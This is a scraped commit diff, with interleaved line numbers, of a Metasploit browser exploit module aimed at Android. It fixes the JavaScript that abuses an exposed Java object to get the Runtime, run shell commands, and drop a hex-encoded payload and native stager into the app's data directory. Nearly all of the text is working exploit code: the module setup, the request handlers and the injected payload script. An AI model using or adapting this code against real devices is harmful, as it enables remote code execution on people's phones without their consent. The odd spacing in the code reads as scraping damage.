7
7
8
8
class Metasploit3 < Msf ::Exploit ::Remote
9
9
10
- include Msf ::Exploit ::Remote ::BrowserExploitServer
10
+ include Msf ::Exploit ::Remote ::HttpServer :: HTML
11
11
include Msf ::Exploit ::Remote ::BrowserAutopwn
12
12
13
13
autopwn_info ( {
@@ -77,15 +77,11 @@ def on_request_uri(cli, req)
77
77
print_status ( "Serving javascript" )
78
78
send_response ( cli , js , 'Content-type' => 'text/javascript' )
79
79
else
80
- super
80
+ print_status ( "Serving exploit HTML" )
81
+ send_response_html ( cli , html )
81
82
end
82
83
end
83
84
84
- def on_request_exploit ( cli , req , browser )
85
- print_status ( "Serving exploit HTML" )
86
- send_response_html ( cli , html )
87
- end
88
-
89
85
def ndkstager ( stagename )
90
86
localfile = File . join ( Msf ::Config ::InstallRoot , 'data' , 'android' , 'libs' , 'armeabi' , 'libndkstager.so' )
91
87
data = File . read ( localfile , :mode => 'rb' )
@@ -99,16 +95,20 @@ def js
99
95
// ensure that the object contains a native interface
100
96
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
101
97
98
+ // get the pid
99
+ var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null);
100
+
102
101
// get the runtime so we can exec
103
102
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
104
103
var runtime = m.invoke(null, null);
105
104
var stageData = "#{ Rex ::Text . to_hex ( payload . raw , '\\\\x' ) } ";
106
105
var libraryData = "#{ Rex ::Text . to_hex ( ndkstager ( stagename ) , '\\\\x' ) } ";
107
106
108
107
// get the process name, which will give us our data path
109
- var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
108
+ // $PPID does not seem to work on android 4.0, so we concat pids manually
109
+ var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
110
110
var ch, path = '/data/data/';
111
- while ((ch = p.getInputStream().read()) ! = 0) { path += String.fromCharCode(ch); }
111
+ while ((ch = p.getInputStream().read()) > = 0) { path += String.fromCharCode(ch); }
112
112
var libraryPath = path + '/lib#{ Rex ::Text . rand_text_alpha ( 8 ) } .so';
113
113
var stagePath = path + '/#{ stagename } .apk';
114
114
var dexPath = path + '/#{ stagename } .dex';
0 commit comments